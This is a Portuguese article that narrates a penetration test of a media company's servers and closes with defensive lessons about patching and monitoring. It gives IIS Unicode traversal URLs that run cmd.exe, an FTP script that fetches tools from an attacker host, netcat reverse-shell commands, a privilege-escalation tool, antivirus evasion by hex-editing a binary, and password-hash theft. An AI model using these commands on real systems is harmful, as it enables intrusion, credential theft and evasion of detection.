Um
consultor, com conhecimento limitado sobre a estrutura
e organização de uma corporação,
pode simular uma situação real de um cracker
tentando obter acesso a um ambiente. A este tipo de avaliação
damos o nome de Teste de Intrusão. Seguir será
mostrado e comentado um teste de intrusão realizado
por um consultor de segurança e disponibilizado
na Internet.
A organização avaliada é uma empresa
no ramo de comunicação, com emissoras de
TV, Rádio e Jornais.
Estas são as principais ferramentas utilizadas:
Cyberkit – DNS lookups, traceroute,
whois, finger;
NetCat – Abre conexões TCP;
Hk.exe – Permite obter acesso de
nível privilegiado no Windows NT.;
Comandos net – net view, net send,
net share etc;
Editor hexa – Edita arquivos em
formato hexadecimal;
Whisker.pl – Procura vulnerabilidades
em servidores Web;
Lophtcrack – Quebra senhas do Windows;
WinVNC – Software de controle remoto.
a) Obtendo informações
O ataque começou com DNS lookups nos IPs da empresa,
requisições whois e varredura de portas
nos servidores publicados na Internet. Foram localizados
140 computadores (servidores Web, DNS, e-mail e B2B),
sendo que a maioria deles eram servidores NT e outros
eram versões de UNIX. Uma varredura rápida
nos servidores Web mostrou que eram utilizados servidores
com IIS(Internet Information Server) 3.0 e 4.0.
Como em todo ataque real, este Teste de Intrusão
começou com a obtenção de informações
a respeito do alvo. O software Cyberkit foi utilizado
numa varredura inicial, todos computadores que estão
ligados à Internet foram identificados, bem como
seus sistemas operacionais e versões dos serviços
instalados.
b) Encontrando Vulnerabilidades
O trabalho começou com o principal servidor Web
da empresa (NT 4.0 com IIS 4.0). Uma rápida verificação
na lista de vulnerabilidades conhecidas no site SecurityFocus,
mostrou que a vulnerabilidade “Directory traversal
using Unicode vulnerability” está presente
em algumas versões do IIS. Esta vulnerabilidade
é explorada enganando o servidor Web para que ele
permita o acesso aos diretórios do computador que
normalmente estariam ocultos aos visitantes do site. No
IIS o diretório padrão para os sites é
localizado em C:\Inetpub\wwwroot. Logo, ao invés
de requisitar o documento http://www.vitima.com/index.html,
que corresponde ao arquivo físico C:\Inetpub\wwwroot\index.html,
o hacker requisita alguma coisa como http://www.vitima.com/../../index.html,
que corresponde ao arquivo C:\index.html. Não existe
um arquivo index.html no diretório C:, mas a partir
de lá qualquer outro arquivo cuja a localização
seja conhecida poderia ser acessado, tomando-se por base
uma instalação padrão. Por exemplo,
o programa cmd.exe poderia ser utilizado para executar
comandos arbitrários no servidor, como se o hacker
tivesse sentado na frente do computador e digitando comandos
em uma janela DOS. Contudo, para que essa vulnerabilidade
possa ser explorada, seria necessário ter direitos
de execução e a seqüência de
caracteres /../.. deveria ser substituída pelo
equivalente em Unicode. Logo, ao invés de requisitar
o cmd.exe do C:\Inetpub\wwwroot seria necessário
fazer isso a partir de C:\Inetpub\wwwroot\scripts, sendo
preciso mais uma camada de /... Esses caracteres devem
ser traduzidos para o Unicode, pois o IIS filtra estes
tipos de caracteres. Para executar o comando “dir
c: /s” no servidor, por exemplo, deverá ser
requisitada a URL:
http://www.vitima.com/..%1c%pc../winnt/system32/command/cmd.exe?c+dir+c:\+/s
Nesse comando, o caractere + substitui o caractere de
espaço, e o ?/c+ é necessário para
passar parâmetros para o cmd.exe, e /.. é
representado em Unicode como %1c%pc. Executando este comando,
no navegador, será apresentada uma lista completa
de todos os arquivos do drive C: do servidor. O mesmo
processo pode ser executado para outras unidades do servidor.
Com este recurso é possível executar diversos
comandos, como ping e comandos net para mapear a rede
interna, contudo, executar estes comandos com o navegador
é muito trabalhoso, logo é mais conveniente
criar um script para esta finalidade.
De posse dos endereços dos servidores e das versões
dos serviços instalados, é o momento de
identificar falhas que permitam o acesso ao sistema. Uma
falha foi encontrada em um dos grandes sites de segurança,
o SecurityFocus. Entendida a falha e como ela pode ser
explorada, é hora de começar o ataque propriamente
dito.
c) Armando o Arsenal
O primeiro passo do ataque é ativar um servidor
FTP no laptop do atacante e copiar as ferramentas para
o diretório principal do FTP. Foram copiados os
arquivos nc.exe e hk.exe. Foi carregado um cliente FTP
no computador da vítima para baixar as ferramentas
do laptop. Como o FTP é interativo, e não
é possível fazer a interação
através de navegador, então foi criado um
script para ser executado no servidor. Os comandos executados
para criar o arquivo texto do script são mostrados
a seguir:
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+open+ftp.intruder.com+
>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+username>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+password>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+prompt>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+bin>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+mget+*.exe>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+bye>>ftp.txt
O conteúdo do script foi verificado através
do navegador, e depois a seção FTP foi estabelecida,
assumindo-se que o firewall permitiria aquele tráfego.
O script foi executado com o seguinte comando:
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+ftp+-s:ftp.txt
Depois foi usado o NetCat para obter um prompt de comandos
no servidor. O NetCat é uma ferramenta de rede
muito útil, que pode ser utilizada para permitir
a comunicação via uma porta TCP qualquer
e criar um shell prompt.
O NetCat foi executado no laptop no modo de escuta(listening)
na porta 53, também usada para consultas DNS e
normalmente permitida pelo firewall. Depois foi executado
o NetCat no servidor para disponibilizar o shell prompt
no laptop, tudo através do navegador. Numa janela
DOS do laptop foi dado o seguinte comando:
Nc –l –p 53
E no navegador:
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+nc+-d+-e+cmd.exe+MeuEndereçoIP+53
Então a janela do laptop mostrou:
Microsoft(R) Windows NT(TM)
(C) Coypright 1985-1996 Microsoft Corp.
C:\Inetpub\wwwroot\scripts>_
Pronto, ganhamos um prompt. Utilizou-se o comando whoami
para identificar qual era o usuário logado na máquina.
Infelizmente era o INET_IUSR/Anonymous, a conta de usuário
anônimo da Internet e não a de administrador.
Isso significa que as informações importantes
não poderão ser acessadas.
É necessário, além do conhecimento
sobre protocolos e sistemas operacionais, entendimento
sobre o funcionamento dos softwares que explorarão
as falhas encontradas. Aqui o consultor usou um servidor
FTP em seu laptop e um cliente no servidor para baixar
as ferramentas para o alvo. O NetCat serviu para abrir
uma conexão inicial. A porta de comunicação
foi acertadamente escolhida, as requisições
DNS, necessárias ao funcionamento do servidor,
não despertavam suspeitas e podiam passar desapercebidas
pelo Firewall ou IDS(Intrusion Detection System –
Sistema de Detecção de Intrusão).
d) Efetuando o Ataque
Então o consultor tentou iniciar uma conexão
TELNET usando uma outra porta com a ferramenta hk.exe.
Esta ferramenta explora uma vulnerabilidade associada
a uma chamada não documentada de uma API que permite
a uma thread obter um token(um atributo de segurança
que define o nível o nível em que uma thread
pode rodar) de uma thread do kernel. Para usar esta ferramenta,
digita-se hk seguido do comando que se deseja executar
se tivesse o privilégio de administrador. O comando
digitado foi:
Hk nc –e –e cmd.exe MeuEnderecoIP 23
O resultado foi a mensagem de “Bad command or filename”
. Depois de algumas verificações, vimos
que o arquivo hk.exe tinha sido movido para o diretório
C:\Program Files\Antivyrtec Associates\Antivírus\Quarantine\.
O Antivírus havia identificado e capturado nosso
aplicativo.
Foi utilizado um editor hexa no arquivo hk.exe.
Como este é um aplicativo compilado, qualquer modificação
poderia comprometer seu funcionamento. Dentro do código
foi editada uma mensagem que dizia “Your wish is
my command master”. Foi mudada esta mensagem para
“XXXX XXXX XX XXXXXXXX XXXXXX” e renomeado
este arquivo para hk2.exe. Depois de
baixar este arquivo o antivírus não o capturou.
Dentro de uma nova janela DOS no laptop foi criada uma
nova conexão com o seguinte comando:
Nc –l –p 23
E depois o comando:
Hk2 nc –d –e cmd.exe MeuEnderecoIP 23
Na conexão ativa no servidor Web foi mostrado:
Hk2 nc –d –e cmd.exe MeuEnderecoIP 23
Lsass pid & tid are: 50 - 53
Lauching line was: nc –d –e cmd.exe MeuEnderecoIP
23
XXXX XXXX XX XXXXXXXX XXXXXXNTImpersonateClientOfPort
Suceeded
Na tela do laptop foi exibido:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\Inetpub\wwwroot\scripts>
Whoami
NT AUTHORITY/SYSTEM
Agora foi fechada a primeira conexão NetCat, ela
não era mais necessária. A primeira coisa
a ser feita foi a cópia do banco de dados SAM para
o laptop e a quebra das senhas pelo aplicativo
l0phtcrack, com dicionários de senhas
e força bruta. Com alguns pings e comandos net
todos os domínios e servidores NT foram listados.
Foram colhidas todas as evidências da intrusão
e por último foi instalado no servidor Web o WinVNC,
o mais espantoso foi, após visualizar a tela do
servidor, que a mensagem de captura do aplicativo hk.exe
ainda estava na tela, ou seja, durante nossos testes(quase
três dias) ninguém olhou para a tela do computador.
O consultor então clica em OK e assim removeu a
evidência mais óbvia de sua intrusão,
além de apagar os arquivos que havia copiado anteriormente.
Através de outra falha, desta vez numa API do
Windows, foi possível aumentar o nível de
acesso do consultor e obter privilégio de administrador.
O antivírus foi facilmente enganado simplesmente
editando o arquivo e mudando apenas um banner de boas
vindas, quebrando assim o sistema de identificação
de assinaturas. Uma conexão privilegiada foi estabelecida
e as provas da intrusão foram coletadas. A partir
deste servidor, outras máquinas foram exploradas
e então finalmente o consultor deixa o sistema.
e) Conclusão
Ao analisar vários ataques, muitas semelhanças
podem ser encontradas. Certamente uma delas é a
seqüência que eles obedecem. O consultor seguiu
a ordem normal e começou com varreduras e obtenção
de informações, depois passou a procurar
vulnerabilidades e como explorá-las, e finalmente
efetuou o ataque e buscou evidências da intrusão.
Note que todo o teste foi feito sem conhecimentos privilegiados,
parecendo assim um ataque real.
As falhas de programas foram exploradas intensamente
nesse teste. O servidor Web tinha uma vulnerabilidade
conhecida há bastante tempo e sua correção
já estava disponível, bastava apenas uma
atualização do software para impedir a ação
do atacante. Outro fato é a ampla divulgação
de falhas de segurança em sites especializados,
muitas vezes essas atualizações acontecem
muito depois de sua divulgação, quando a
exploração dessas mesmas falhas já
ocorreu.
Com este teste foi possível verificar também
que apenas uma falha em um dos servidores comprometeu
a segurança inteira da estrutura, confirmando aquela
máxima, comum na área de segurança,
que diz: ”A corrente é tão forte quanto
seu elo mais fraco.”
A negligência dos administradores também
pode ser observada pela não percepção
do ataque, além da falta de atualização
dos softwares, principalmente dos serviços críticos,
como o servidor Web.